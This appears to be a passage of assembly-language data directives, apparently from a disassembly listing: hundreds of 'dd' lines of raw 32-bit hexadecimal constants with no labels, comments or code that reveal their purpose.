		dd 0B2209C20h, 2C00E253h, 63B47DD2h, 7E06755h, 1FA3CECCh
		dd 3ECB3038h, 0FF008BA6h, 9778D7Ah, 113EA0Ch, 85D88490h
		dd 8FE7CBCCh, 0E9B28E58h, 9C9500AAh, 75A045FAh,	0DB73006Eh
		dd 0BF8BC2A9h, 0BA003D02h, 9F24A26Dh, 7249774Ah, 8F708Eh
		dd 0FBCB354Bh, 8199A565h, 0BD462E12h, 0D04C0C00h, 2456DA89h
		dd 807C487Ch, 0D32E7186h, 1CE8B6A3h, 225DC100h,	7C17DF50h
		dd 0C0490043h, 7EBB5158h, 0DD00909Eh, 2E8D2DACh, 2686F342h
		dd 0F9D3DFh, 0F70CF656h, 95004AD9h, 2734DA10h, 0EE55942h
		dd 0FEDF92DDh, 0A1D766E0h, 0ED0033D2h, 0A33AB0B9h, 0E456D8h
		dd 7175134Ch, 9BDAC6C4h, 9A209800h, 78ED2EA1h, 0B35E0018h
		dd 0A3B2D194h, 120004B5h, 5181DFDCh, 7F3EEEEFh,	36430E69h
		dd 0AFC0C08Fh, 738AF6F4h, 76D06200h, 9B055E20h,	668600EDh
		dd 55F59433h, 4758D308h, 51F000C2h, 92B123C6h, 0DB6F0053h
		dd 20FBEDDDh, 3500BB2Bh, 0CCD26DE8h, 77FFD0Bh, 0E59B7EDFh
		dd 0AD9FE0EEh, 0FA00DD12h, 0CA66F34h, 3A474E9Eh, 62802A18h
		dd 69723730h, 663EA115h, 5700FC43h, 6DE03BABh, 422B3Eh
		dd 5322D4B1h, 44081DFCh, 30264C00h, 5E295283h, 0B1820023h
		dd 0D69E859Fh, 2400982Dh, 70335455h, 0E892A3E1h, 6BB9071Ah
		dd 0A16FC47Dh, 305E3F2Dh, 0A40489A0h, 0E310B54Eh, 0BDC8AEC0h
		dd 570182Eh, 588218BAh,	6827F300h, 39A51C97h, 5CB40749h
		dd 6042DBAEh, 0FD846C61h, 0F9822A01h, 2589C41Eh, 0BB7CC0FAh
		dd 573D0442h, 813CFE40h, 0E8A4CBB4h, 0B70984DEh, 804B2B35h
		dd 5E197F01h, 3CA30E6Eh, 97C0C3E8h, 2BFE6A56h, 500C4E0Eh
		dd 0A57480EBh, 1357CB0h, 0A0A76582h, 8042E934h,	2A8DEA58h
		dd 464F02h, 0E2CFB872h,	132632BEh, 0EC9A4A07h, 6000FFA7h
		dd 0B8F575h, 28172CA4h,	701CCDB7h, 97C4801Eh, 0F4CC0100h
		dd 0F6083D4Eh, 25F691h,	41A7ACDFh, 0AAB8ED2Fh, 2B187700h
		dd 6361B9B0h, 0CCCB00BCh, 4CF41274h, 0C80FC907h, 20C6DD1Ah
		dd 9D803D9Ch, 0D52C003Bh, 0BEF69834h, 7B010C1Dh, 1620DE89h
		dd 0E7C88A5Ah, 2B7725h,	0FAE62A82h, 0CAD67E99h,	0E27BD01Fh
		dd 0B1B663C3h, 703190D2h, 0E60B0749h, 80F6C94Eh, 0EEFC6DC3h
		dd 2425C801h, 0D66040B2h, 52ADF20h, 72ACF7B6h, 1EF500E3h
		dd 0A245391Ah, 6E0FEF00h, 0F14CAE42h, 272B0080h, 0D4155C8h
		dd 0EC003F84h, 15EAB676h, 8E0E91h, 79ACB3CAh, 6ECC6871h
		dd 80551B00h, 27ED814Dh, 17D80798h, 371FD0C4h, 7076504Fh
		dd 0B500EAF5h, 0AE49A224h, 0E7D843h, 621346C6h,	5FC481A9h
		dd 0B83C5378h, 2B6B80A5h, 8259F94Dh, 1D55000Fh,	0D6E545Ch
		dd 620008FEh, 0B4ED2534h, 0F2E03Ch, 5B35A399h, 0A9436C40h
		dd 0CEB02A06h, 3852CCh,	32317278h, 4AB1BC81h, 0BE011B72h
		dd 0CCC393F1h, 59C4789Fh, 0E40F0083h, 1E2D33EFh, 643A21D3h
		dd 0C5C4007Ch, 601401B2h, 36FCA06Fh, 6CC003A1h,	24D7FC8Bh
		dd 38D04EC0h, 0E300957Eh, 257178A9h, 0EB16507h,	0F50A2C5h
		dd 4FA8409Dh, 468442A7h, 0B021322Ah, 0EC049F03h, 97F79CC3h
		dd 0BA1083B7h, 138F73h,	2A41D131h, 3BD77AADh, 93EA7700h
		dd 0D25996DEh, 0D849007Fh, 247883Eh, 6C0036CBh,	61C65A32h
		dd 4E340Dh, 0EAAB09D5h,	216DC4EBh, 7FB3D33Ch, 4BB9A418h
		dd 0EC21CA8h, 2EF673B4h, 75E4C3E0h, 0E77EFD08h,	94590615h
		dd 0F5BA07CCh, 7BC02438h, 61372278h, 8B66C095h,	0F560A447h
		dd 984E0400h, 33914Dh, 49012F4Fh, 3054529Dh, 0CADD591Ch
		dd 0C8AE6C40h, 122BFB47h, 0A878D71Eh, 9FE51C62h, 242E7C43h
		dd 3DD4C8C0h, 963100CCh, 0E8B8B6D7h, 9C00F55Dh,	18F8CBC4h
		dd 291F01h, 0C1E5E94Eh,	31414D1Eh, 8C8F9C3Fh, 0E043C855h
		dd 0D60300BDh, 0E9621767h, 72019BD9h, 60D129E6h, 0F7D4F65Ah
		dd 0DCCD306Fh, 7E542D10h, 56A50E0Fh, 4DDEA184h,	0D445A6B3h
		dd 0EFF0D800h, 34C77825h, 60D135h, 0B5EE9CD3h, 0E000AFFh
		dd 0B64DD8E6h, 0BA631EDh, 5AD25EF0h, 40B4BD00h,	5348E19Ah
		dd 74E70322h, 0C04CB734h, 309F4D70h, 141C92E5h,	9D054BA8h
		dd 0CDE4A30h, 3E03E405h, 0A2158420h, 0D98139CEh, 0A8AC7980h
		dd 2DB98C49h, 59C33800h, 0E06BD197h, 12AF0E11h,	0B6A0619Bh
		dd 7FEDEBAAh, 0B0E63300h, 3EA5B31Ch, 571B00F3h,	3F89796Ah
		dd 0CD0F4222h, 0A02605C6h, 2BBEFDA7h, 9F4004Ah,	0C9CC374Dh
		dd 0BD0A3D16h, 80883317h, 54BA8500h, 0F89F9Bh, 6BF78948h
		dd 0CC3E260Ah, 10EAA903h, 0D04E8469h, 485BD1C1h, 200110Bh
		dd 6C202682h, 0FA01066Dh, 93816AC3h, 0F080074Fh, 83761AE5h
		dd 5428446Eh, 71E697B8h, 0EEB31400h, 96FEB608h,	0ABAC01E1h
		dd 59FD55E6h, 56F03A65h, 8E613BF9h, 6DD66980h, 22ED2D2Eh
		dd 0A2F40300h, 7FD3F70Fh, 0E1B500F1h, 9E86455Bh, 11242479h
		dd 383D94AAh, 72104CE5h, 8C441F13h, 46D2A707h, 0B1F4B943h
		dd 0C211DC3h, 7110AEE9h, 2109B0F8h, 81F164B9h, 843A2D10h
		dd 0B84270h, 7F538DCBh,	1CF4AEA3h, 1BAB5C00h, 0A4C34661h
		dd 9EB0006h, 4D7CAACh, 0DA398E26h, 8FF49947h, 24601D10h
		dd 231E2869h, 52E700A5h, 5102ADEFh, 6C092176h, 130A210h
		dd 0D471561Dh, 9818CBD0h
		dd 0F170070Bh, 0F65E6745h, 5D001C4Bh, 0F2FF47A0h, 7D8CAAh
		dd 0BD033252h, 428650CEh, 0E8128D07h, 59F01B2Eh, 18124E2h
		dd 0D0CCC857h, 0C4BE8B41h, 95005D9Bh, 65F8EC45h, 747E5C12h
		dd 4918E049h, 0FF0044F0h, 16CABC10h, 5F034737h,	0EF5097B7h
		dd 28B88104h, 58B6160h,	7F6BD12h, 0C0A41D9Ah, 3D7405F5h
		dd 0AD0060BCh, 72773ADEh, 0F67B93Bh, 0C9DD5A0h,	4D5D2423h
		dd 1BFCE2E8h, 8F72E60Eh, 4FAE65E9h, 8B54A880h, 1F00174h
		dd 0D261FD88h, 0C4F5C0E1h, 475C4600h, 630458B9h, 0E77C00DBh
		dd 5F6AA060h, 16012D92h, 0F8EEB0F1h, 0D9FC2827h, 32DA0066h
		dd 0D53D6288h, 17009AA8h, 0DC11C389h, 52BB47h, 5CA092B8h
		dd 0CC6D0D51h, 2CB158h,	1C78FC4h, 0AA7FABh, 91E94E2h, 675B2327h
		dd 9DE66A00h, 0FED8C3CDh, 5C280756h, 0B22FA4ECh, 8680B973h
		dd 0EFD5C8A1h, 0A6B24700h, 848BDBCCh, 33FC17B3h, 0D4DB0021h
		dd 0E406E395h, 0F2008A73h, 0DCB40531h, 7D1E234h, 1F6B8940h
		dd 0F8A450BCh, 0E000A9FEh, 4502C92h, 3866E02h, 0DCCA116Fh
		dd 98D8B941h, 9902DDE7h, 4E08B2B3h, 2C586087h, 0C8410CC6h
		dd 4DA2EA06h, 4B147000h, 0B7019B48h, 0AD4500DBh, 3F239CC5h
		dd 78605387h, 460BB568h, 5C9A9Eh, 0E45D1159h, 729FA4E6h
		dd 0F4A0C290h, 23042E41h, 0A81DDC4Bh, 7EE87880h, 0C93300FDh
		dd 434052C1h, 2F00E77Fh, 0AE5CC6D4h, 3FC35955h,	0A98FC8C0h
		dd 796148A1h, 40D8CE1Dh, 0D521D210h, 0A4005377h, 0FCD76E4Fh
		dd 595BBF67h, 0C4078CBDh, 50D0185Dh, 0AC4938D1h, 0E993FE00h
		dd 0CD1DE5A5h, 870D0743h, 40365DA0h, 90B9CEAFh,	0BF28D8B2h
		dd 0E0002457h, 0FCC13908h, 2B386Eh, 8CC70529h, 0D311375Eh
		dd 18593A00h, 0BF215AC2h, 15D3048h, 0CEE92AF9h,	7E79BA7Ch
		dd 816E3207h, 4BF15BDBh, 2AF4AE26h, 55C00E3h, 210A60EBh
		dd 7A51CEEDh, 0E9C3C820h, 0D382A800h, 3AA4C649h, 0E80AF866h
		dd 21F6012Fh, 4F2971CBh, 29080E3h, 772E6CD3h, 989E0099h
		dd 64D0366Bh, 5D700194h, 418030Ah, 0F018CE9h, 56E3D87Ah
		dd 2DC868CEh, 2BE6D3h, 46897CACh, 7D6B8C21h, 0C0B54Ch
		dd 2EF11E30h, 24C880C9h, 89E49CDEh, 0DC016621h,	407029E8h
		dd 78A67181h, 0E056CB09h, 0DFC881F1h, 0BC22F7F0h, 0E749ED02h
		dd 9460EBBEh, 0D73A8C92h, 7B46BCDBh, 0ED55CE00h, 982E7ACFh
		dd 125BE806h, 5B094EFh,	880164C4h, 0AD4C5A8Ch, 0A2F600BCh
		dd 1B08E9DEh, 0B86A782Ch, 0DCF6A5h, 55F9ECB0h, 2693439Dh
		dd 4FCC630Eh, 9EFAA3D7h, 0E434A85Ah, 71200089h,	36A685E6h
		dd 0B80051FEh, 6410C496h, 0EF30EBEh, 0F61EE892h, 9AF5AD00h
		dd 0D9161CCAh, 58405838h, 937689BDh, 31E20016h,	36245072h
		dd 0CCFFEE03h, 41301560h, 51CF489Bh, 0A43D5CEAh, 0A858D400h
		dd 0A14494C2h, 9B4A021Ch, 21269DC0h, 70A9B706h,	791E0065h
		dd 0F4D0AFF3h, 6F009C57h, 5E153664h, 3B228501h,	2EBD26F0h
		dd 80F6C616h, 9B082F0Fh, 24C71124h, 0F0C12EBAh,	10E75602h
		dd 0D8BC80EAh, 60CF1Eh,	16BE52AAh, 13C9E44Dh, 0F2D6C400h
		dd 5694A1BAh, 4FFF2492h, 0D9A884h, 0BE1FD569h, 0DC54A3EAh
		dd 73F6800h, 0E39C0D16h, 0B5103CA7h, 0F97DFBh, 388BF101h
		dd 0AF125B92h, 80D3ED3Fh, 2778D6E7h, 0B0FABEBFh, 647D0FA4h
		dd 87DC5EBBh, 0B09D3189h, 0ED787F67h, 0A946C11Eh, 0E7F41FC0h
		dd 10B894EBh, 3E9CD45Bh, 51DE872Ah, 0AB9EA879h,	0F37480F1h
		dd 37BEB41h, 0DB26C748h, 31066228h, 80D84099h, 67B3D79h
		dd 2707D900h, 1E59B848h, 2E67F900h, 0FC6C84F5h,	25AF00EEh
		dd 0A3AA4F9Dh, 0BB3E46F7h, 3704F9A9h, 0FEA0A108h, 47139680h
		dd 39510EB0h, 4FCB5F73h, 0BAF69481h, 51CF801h, 468BA200h
		dd 40601E44h, 38530720h, 901A247Fh, 362165C0h, 70FDBAE8h
		dd 0BE00164Ch, 95145748h, 267B18B1h, 58D722h, 9CB87834h
		dd 5490AC41h, 0A15B3501h, 0B989E649h, 5853DEC0h, 5000D8A9h
		dd 0B0CCFF32h, 200E525h, 805AAD0Ah, 26F7F88Ah, 1F9CE81Dh
		dd 52A14042h, 66DB97D6h, 0AF8D8617h, 3F5C7043h,	6E27F892h
		dd 0FBBA1E15h, 628F00EAh, 39ECB969h, 0ACA51128h, 1D43EF00h
		dd 87F33C72h, 591E006Dh, 0E07ACB89h, 0B8C54C88h, 0C8C7F840h
		dd 792F32B0h, 0DEBE01E6h, 0D0D3DFD5h, 0ABFECC6Bh, 3EF9EF00h
		dd 7DCCC293h, 0B0AA5D29h, 0CE95F100h, 0A4ACCF2Ch, 0A5006FF2h
		dd 287F4B03h, 24925157h, 0BA54746Ah, 843D8680h,	971FD22Bh
		dd 26B4A70Ah, 832C9871h, 1CC8380Bh, 31351848h, 0F56DB273h
		dd 49A44806h, 8019FEh, 0C339178Eh, 62DFE606h, 632D5405h
		dd 0F01FA681h, 0A79B38C3h, 78BC80D1h, 0B5C702E5h, 20B16D3Dh
		dd 218DB848h, 0B66C900h, 797FCDEh, 0F5A700D4h, 144CDAC2h
		dd 0C0B8D1AAh, 80A3E039h, 8E7B06DFh, 0A5030Ch, 90E2FF65h
		dd 0F6ECC1EAh, 1C3E2E00h, 0A3AD2B5Bh, 16D6000Fh, 92426187h
		dd 3760590Dh, 4C28DE19h, 1B940012h, 4A1EE56Eh, 0A53962A7h
		dd 187FF8CBh, 98683900h, 3113BBF0h, 9149005Dh, 29961A71h
		dd 6B00B379h, 0F3A48F0Dh, 983F180Eh, 0C9D70028h, 67CB741Ch
		dd 0D17A0F27h, 363CA200h, 72382BF6h, 7D517CF9h,	395E008Eh
		dd 211547CEh, 853A6D7Bh, 52A29306h, 776C2000h, 7E43074h
		dd 36D21056h, 2C00CBDDh, 0C33359BFh, 0F60075F8h, 4A3B99B1h
		dd 21769DAh, 827B0CD8h,	0ADE1F4EDh, 3B838E1h, 8BC76B95h
		dd 5E5AF8E3h, 24EC727Dh, 0C0282h, 9EDE1677h, 0BE497C9Fh
		dd 8A45262Ch, 1EC09000h, 69B0BD1h, 2944975Bh, 0C5002012h
		dd 9FD7C739h, 4F3013D9h, 0F7444EFAh, 7219D540h,	71094B08h
		dd 7FF2739h, 9D51449Ch,	48243F87h, 164B92h, 7F14763Ch
		dd 74002FA2h, 5D086033h, 41AC97h, 0BE9FC68Dh, 0CC9DF391h
		dd 0AE07C07h, 9BF575C9h, 0DE6A77C0h, 32E20054h,	0C70990A0h
		dd 921DD10Ch, 0FD944C2Fh, 0BDFA1CB8h, 0BE12287h, 0CE0A4233h
		dd 2647FA18h, 5D2F59Dh,	4256765h, 0D093F0B7h, 5A60DF88h
		dd 0E6CA8780h, 0D7E09B1h, 35804996h, 9FAB174Dh,	59543Bh
		dd 745F014h, 3CF2D1E2h,	38281D56h, 0C0A9FCD4h, 5B36A0ECh
		dd 1A006072h, 0C770A5C1h, 760D30E0h, 54C0074h, 0D6BA8C22h
		dd 4509E246h, 21CC84AAh, 0BCE11828h, 0D96930h, 0FAF27BB5h
		dd 378D2332h, 7E265600h, 0BF82E84Eh, 0B0B0EEh, 633CAD19h
		dd 11D158A4h, 461D68C0h, 5EE11Eh, 0F8E3D77Fh, 0D6C22DDh
		dd 26207700h, 0FF48F775h, 0CC7B00A4h, 0A1FE0B37h, 7E3E36AEh
		dd 18E6F8CEh, 0BA829300h, 4CA4E628h, 0E7923FFCh, 794D848Eh
		dd 34AAD820h, 290302D7h, 0C2355990h, 0E215D865h, 0D004005Dh
		dd 0B9F5E8A8h, 1279E0A1h, 0BC58B024h, 2880E413h, 4A4AA7F0h
		dd 0C0802BC4h, 0BF6DFC29h, 0CE128415h, 6880185Bh, 1D5D7099h
		dd 1D988729h, 0CFFB0332h, 21009345h, 86BDAC15h,	61A5E22Bh
		dd 0D8B908F8h, 20BC06h,	94FFE993h, 0C0DADBh, 44FA7F32h
		dd 3C196556h, 8206A400h, 0D7D8076h, 23130307h, 0B1F30C2Bh
		dd 728DAAD8h, 0B2479900h, 0DCC71B3Ch, 9017181Ah, 0DACDB038h
		dd 0CE99C20h, 2E68DB55h, 0A80E2618h, 0FD067DEBh, 0FADC803Fh
		dd 85F74C48h, 0BBD23A68h, 33A1CC30h, 38E0C4E9h,	0E51B4971h
		dd 18D85464h, 0E9078FF1h, 0E600A43Fh, 0BACCEA6Eh, 0AF6CF21h
		dd 49D2FB2Fh, 0F018ECCh, 9D849854h, 0C510B280h,	98000815h
		dd 58A5E9CBh
		dd 0B6A7006Dh, 66E7884Eh, 0BF0014D6h, 687B2B33h, 348E350h
		dd 0DD2ECC2Ch, 3489444Fh, 14FF70AEh, 0CE6CC000h, 5173D272h
		dd 63B600B9h, 619ADBD7h, 7D00AAFFh, 54F62F04h, 0B192BFh
		dd 43E9B42Bh, 0EE96A938h, 500FE87Ah, 476C8FA6h,	16B08831h
		dd 0E28E2F74h, 34B603D8h, 0DCE5D913h, 49058680h, 0FF673D0Ch
		dd 0B853F0BAh, 2F170116h, 0A9613B45h, 0C1F2F49Eh, 0F2C31A28h
		dd 0E7B8E90Bh, 7600188h, 0EBE011D8h, 0CE8F00ACh, 4D452493h
		dd 991DAEF8h, 0FA4EFC79h, 0DA5AA315h, 61C1E8B5h, 0C7D20DA4h
		dd 0FE180BE2h, 38F8E161h, 732987C4h, 0E5709260h, 3CCD7E03h
		dd 7700B196h, 0F06A0CE2h, 98608268h, 0C5ADE121h, 5CEEFAh
		dd 0BF31F9F2h, 0A61BA817h, 0F0844F0Eh, 0F1A34012h, 0E6FCAF6Ah
		dd 0AC9200A5h, 27BF757Dh, 0E4B0E9A6h, 0F169640Eh, 84902009h
		dd 5816939Eh, 190028B9h, 0E48D3347h, 4804EE13h,	0AFAB9252h
		dd 72A1AC92h, 0CDD50078h, 0A381F8C0h, 8E007DD6h, 0C86E2C90h
		dd 6269365h, 0DD338536h, 4C001155h, 6ED9D370h, 484FF102h
		dd 0E780C0AAh, 8F717B0h, 0E4CA1E0Bh, 2B5020A4h,	0B63391A6h
		dd 0A914800Ch, 0AEC00AC2h, 0F7D4D16h, 2FD440Bh,	5047453Ch
		dd 0E6C61C30h, 0E8D7C0CDh, 72E77DFAh, 705F8F0Eh, 50FD44A4h
		dd 2C5794F0h, 3D70CC5Bh, 5D51A750h, 860278C6h, 0A382C3FAh
		dd 2E7990E0h, 9A07000h,	23E44F03h, 0BCBE0B9Ch, 368008F6h
		dd 0B25EF5Ah, 0C7748000h, 0AE541819h, 0B52600B1h, 0D524651Ah
		dd 4E00899Ah, 11EC2DF8h, 51E947h, 0D19DA573h, 0D02B4844h
		dd 876B605h, 0F4A0339Eh, 4C383086h, 8AE1BBFAh, 0F88E0E02h
		dd 48AC484Fh, 92DDF0h, 9507881Ch, 21004C6h, 8F864C04h
		dd 64A0B577h, 9EC500C2h, 79C3A1E7h, 0C400C910h,	0DF26EC6Eh
		dd 20AD3Fh, 0D3699807h,	54A4B7B5h, 0E7503Fh, 7FE9CAD5h
		dd 0B0648511h, 50F061EBh, 20FD224Fh, 6700DC69h,	0A4943C16h
		dd 0AFCE96h, 0F2AB897Fh, 0F4C4F142h, 64E74801h,	0AA659251h
		dd 126F4474h, 128973Eh,	8CBB17A4h, 74428C8h, 9298EF39h
		dd 0A32E0DFh, 30CC23D0h, 6978F271h, 7C2CA3A8h, 13C5CAFh
		dd 0B096F981h, 0A8C3218Ah, 9EF18Dh, 3AE1C26Fh, 2451765Dh
		dd 22BA7F01h, 3E576892h, 0E512E02Ch, 0C0305CBBh, 9E3B9544h
		dd 7A13CBB0h, 84409B29h, 0FBB7F16Fh, 2F3800C5h,	0DF7C7E61h
		dd 0F807AAE8h, 7A2D0DB0h, 0C9CF0BC0h, 0E22A1CC1h, 20AB4001h
		dd 655195CAh, 3EDFCD07h, 0C5254BBEh, 8E00F0E2h,	26C706C3h
		dd 0EC07D134h, 8C2F46C6h, 0D00FD620h, 14410B69h, 8A80C5A2h
		dd 0D161B0E0h, 0F3426B02h, 61D95807h, 0D4E453B7h, 0F44AEDh
		dd 7C4DDD70h, 9900FAFCh, 8B4031DBh, 0A0EA03h, 0A3D44BE1h
		dd 6509B70Fh, 11306633h, 7A4004CFh, 0C0137440h,	25883280h
		dd 20A02630h, 72999D9Ah, 790B8BBh, 0C70E3B40h, 0E40AA6h
		dd 491428F7h, 35F0B581h, 2898DF30h, 5F8D110Ah, 4E244136h
		dd 0FC457A12h, 64006C18h, 5A1F3CAh, 2EB47FCh, 41D1BF77h
		dd 0ECF0C5C3h, 72D8921Dh, 7EA57FC0h, 1B60233h, 56DA258Bh
		dd 2024BB68h, 0F600D687h, 0A20837FEh, 0FEC7BE66h, 3BBF0083h
		dd 0C93047EEh, 3500A717h, 0D25A7D45h, 4B085425h, 392C00DEh
		dd 8AAB84ADh, 0E00ACFEh, 18C5FFC0h, 17ECC4C1h, 87B1B6h
		dd 1CDEA33Eh, 74037C01h, 85F312D0h, 68F18A46h, 43F835Ch
		dd 51826AE8h, 789090C3h, 0EB018953h, 0DA1A9512h, 70247525h
		dd 0E4213F30h, 0ECC5BB8Bh, 0DE28CC80h, 334D860Bh, 0C8A7003Ch
		dd 67E6A22Eh, 8D6E1670h, 0FF3C0B89h, 0A2258487h, 50434EFCh
		dd 0EB007FDh, 0D18E011Fh, 0AC0FC27h, 0BE4A6E00h, 471D7311h
		dd 4B611FE7h, 2B8C02DAh, 0DD409C39h, 0BA006A46h, 0C8344C37h
		dd 58E6C128h, 0C21E3997h, 0A160E0Dh, 4A58D380h,	0ED12D8AEh
		dd 0BC5F4FC1h, 7DF35047h, 8E462412h, 191B40F8h,	7963CBCh
		dd 326055Eh, 0E4991D07h, 570083E1h, 0F50602E8h,	76D8948h
		dd 0A6263A1Ah, 0BED550F4h, 0A3B89C12h, 7436F700h, 89B343FFh
		dd 70B7F96h, 0C43ABAE5h, 2E7AD0D9h, 0A4B0BE47h,	2F7E5C03h
		dd 0E235B159h, 0E0563Bh, 8D5E0C5Dh, 3034137h, 21B49F75h
		dd 8A1CA82Dh, 8FE19h, 56EB71EEh, 0D11EF799h, 9F9B0A01h
		dd 6C874FD9h, 6D052F1h,	843000DFh, 39E360ADh, 2C07CF20h
		dd 1BA2ED70h, 8FB8DD0h,	33CB07D7h, 57FD372Ah, 48B1A03Fh
		dd 9F095D0Fh, 251C6ACFh, 70918214h, 7C281833h, 0B6DC1FBEh
		dd 0E600C8E4h, 0C8DD3510h, 2508A821h, 93622EFCh, 0B29745F0h
		dd 384070ECh, 27E806h, 9FF3C2CCh, 0F13A3B0h, 0B6DD8A00h
		dd 19BAC42Eh, 3BD1F693h, 620056BFh, 8FAB8D6Ch, 7300DE2Bh
		dd 0CE590935h, 5C991A65h, 0CB003478h, 4B042FE9h, 1160A35Fh
		dd 6710FDC4h, 9D310B5Bh, 0EC615D48h, 280FE1B9h,	0E22B0E64h
		dd 0CC9AC1E6h, 29822A5Bh, 5AB4873Dh, 823E0CF2h,	0E460517Fh
		dd 0C73E3511h, 0A293803Ah, 6D37688Ah, 0DB780066h, 0DA4CF470h
		dd 83075ED7h, 5A7ED0E9h, 3AA1FE90h, 1A800006h, 6BBD9F49h
		dd 0C90018DAh, 0EC194A8Bh, 2DBAF0h, 2FCDCEA5h, 0DCE8C7BFh
		dd 2BEFA600h, 3CA777C5h, 0BDA90050h, 4F84E416h,	4250E758h
		dd 983A8EB4h, 8F100F9h,	9E9D9162h, 2F7301FBh, 304455A5h
		dd 101C60F7h, 43B95901h, 0CB7E50D9h, 5F004078h,	8D3A5382h
		dd 1C00D6D3h, 0DEB62D7h, 3875D264h, 5FBEC1B0h, 40069013h
		dd 1BAB461Ch, 48121F29h, 10E051A2h, 1260BA9Dh, 0A0A9A805h
		dd 2000AECCh, 3B4C8F8Bh, 0C659C8h, 0A81E02A3h, 0F8D328C2h
		dd 0FCB5F501h, 3630984Ch, 4A5C20h, 269E6613h, 7196ED51h
		dd 4BA4E116h, 0A740381Ch, 493D03BDh, 0D8830059h, 274A930h
		dd 5E006B3Bh, 0EB7DDCA3h, 39D0FB5h, 50539B77h, 0B8161BDDh
		dd 9200BA99h, 0B75FF037h, 228C00FAh, 0CE69E7A8h, 8100FC6Dh
		dd 50F778E5h, 3773B0h, 25FA9CC9h, 0A27A76EAh, 800B3EE2h
		dd 0C4ADA7h, 0FBFDDC20h, 2C7F5C2Bh, 91FE6900h, 3F1C0633h
		dd 9DA1111Fh, 8C8B0D8Ah, 0D4BAAB00h, 0B8D01DE5h, 9A4522ACh
		dd 40998A00h, 0AC83A2AAh, 0F6D300C2h, 0BC693C8Dh, 24008EEDh
		dd 0CA6FF736h, 0CF8384h, 0C26934Ah, 0EAFBA7B3h,	52BF2100h
		dd 0F69151E1h, 0F3380023h, 0F76A900Bh, 24B4C74Fh, 0B34AE920h
		dd 970C7C00h, 38B1855Fh, 5858D678h, 28966500h, 0A316DBD4h
		dd 0DA4A520Fh, 5B8C00DDh, 0EC5468h, 21A8991Dh, 17A6E40Ah
		dd 9E297900h, 1FB4DD57h, 0F5133B8Eh, 0CF314C00h, 0E4F93A21h
		dd 61AFE525h, 2B52BCh, 9457CA4h, 0D5394E89h, 0C0C2CBC6h
		dd 977C56F5h, 9E02026Eh, 384B3D53h, 0BA6B740Eh,	0CCC3A01Fh
		dd 124C3478h, 1DF31446h, 0A17BC020h, 4FB8A67h, 4D134917h
		dd 0C11C7C00h, 3DD2D956h, 9583F883h, 939604B1h,	8D8F5901h
		dd 2F22179Ch, 98C27ED8h, 7887AF0h, 3403FB86h, 67AC50BBh
		dd 4F00EA06h, 0E5CA6881h, 10FED1h, 0C2B0A7E2h, 0E4A29250h
		dd 0AC2C8097h, 1F79973Eh, 819E73h, 0C808DD2Dh, 4100DF63h
		dd 0A15A3072h, 0F5593Eh, 0F769BA33h, 76F23FBBh,	35DEC300h
		dd 269CAF05h, 159EE88h,	614E8193h, 404287F0h, 0EA472AFCh
		dd 0BFE811FCh, 5B58E50Fh, 0D4BC20F7h, 868E6Eh, 7F37B62Eh
		dd 475D93E2h, 41189503h, 9860E640h, 3A787C35h, 27800C4Bh
		dd 0BF7F8668h, 6600B592h, 0B0CC7AD4h, 48974F38h, 0C2082041h
		dd 6F0355C0h, 87D025B3h
		dd 47643C30h, 2A271215h, 307080B5h, 0B100B242h,	0BC09F7ACh
		dd 0B95F67h, 0C548EE51h, 5AC4C696h, 8191CD09h, 151080EDh
		dd 0A8FC77F2h, 995F3C8h, 0B78D459Dh, 98295422h,	75002C58h
		dd 268EBDD6h, 4A9B039Dh, 410C0050h, 46B4C4A4h, 0DD005D76h
		dd 7E0ECA1Eh, 0F87087h,	7BBBB7D3h, 0B6534969h, 206EDF07h
		dd 50509F7Fh, 2A5EEBh, 5458741Fh, 8F781BBEh, 0FBD6A600h
		dd 48DE894Ah, 504500F7h, 0BB6BF394h, 1700923Dh,	46D5E886h
		dd 1C2EFFh, 0B16E639Ch,	0A95D0BC0h, 30C46A05h, 58C29A67h
		dd 0BC89C1D4h, 0DA0370h, 4438B941h, 74D82A36h, 0A6A51900h
		dd 672587D4h, 8F5000A9h, 0A3F9ECB1h, 0DB0092E2h, 19A1317Dh
		dd 0DC1BF7h, 0D9C32E1Dh, 724EBB47h, 2269CD01h, 8352F10Bh
		dd 1F4643E0h, 8024F54Ah, 10BDA6DDh, 0FB027FE4h,	0F3A4C131h
		dd 422CF2DAh, 206CC06Bh, 16C14235h, 0C0363Fh, 664AC48h
		dd 2C481B01h, 0A1F20057h, 826B3839h, 214A0E54h,	0E8A0788Dh
		dd 0B2EB5362h, 52B6ED01h, 1C131D65h, 52976FCh, 0C4309DAFh
		dd 0DB08D0A1h, 200C194h, 0BC384DB0h, 0CFDC23h, 0DE169C86h
		dd 9526D77Dh, 2CBA3400h, 93F3E4D3h, 69AC009Eh, 3B7C5CAAh
		dd 582DC598h, 5DADC76h,	80245A4Dh, 2CABB81Ah, 0D10CD706h
		dd 202940h, 0E41539Dh, 0EE7CF2ECh, 72980903h, 0B7369AEDh
		dd 0C0422F40h, 0D67F07h, 0A39E5B16h, 58AFFD40h,	4B84Ah
		dd 0D8D0844Eh, 161C92DBh, 0EC069394h, 0D08601C4h, 0EEEBFB55h
		dd 0B7741D4h, 1E37BFFFh, 0EA812B80h, 2E05F687h,	0BE1650F0h
		dd 80D4E0h, 7B85B9EBh, 789065Ah, 0BADE6A00h, 0B4E81D7Dh
		dd 0C77330h, 33977F5h, 0FAF4F4Bh, 80C41A39h, 0EEA31C14h
		dd 1F69E308h, 0C2BBCC5Ch, 0C2EB186Bh, 0F00987Eh, 0DD679CC8h
		dd 25BA0E4Ah, 1C60B4C0h, 96236F6h, 0A84EB85Fh, 582F60DCh
		dd 12C119Dh, 0ADCF6647h, 0E40B4452h, 6C004F8Dh,	597BBA3Bh
		dd 984608h, 0D4739EF2h,	0D1CF7D61h, 6CB07E1Dh, 0AB09D200h
		dd 0FA8EA495h, 0E0B9748Dh, 0BF2900AAh, 6D81D796h, 9A00DBF5h
		dd 0EB19AC06h, 2DE41CDh, 0B23B7636h, 0E056085Ah, 0E67C9300h
		dd 1F6782h, 2D448C42h, 890E2FE0h, 0F20FA90Eh, 0D9AD4045h
		dd 0E5C98A0Ch, 0FD002C68h, 146ACA24h, 3905FAB1h, 62014EF9h
		dd 3DC3CFC1h, 0B769C8h,	9C8B7F08h, 0D726B1C4h, 8252B301h
		dd 5D2CB5Ch, 0BB1CA838h, 5EBA40F2h, 0D65330ADh,	0B68E510Fh
		dd 0E7A280E5h, 26C9C13Fh, 80909531h, 3E438330h,	0D4B42B63h
		dd 6D3AE980h, 4EBB6A79h, 20B41315h, 0CCC4F260h,	0EA10C050h
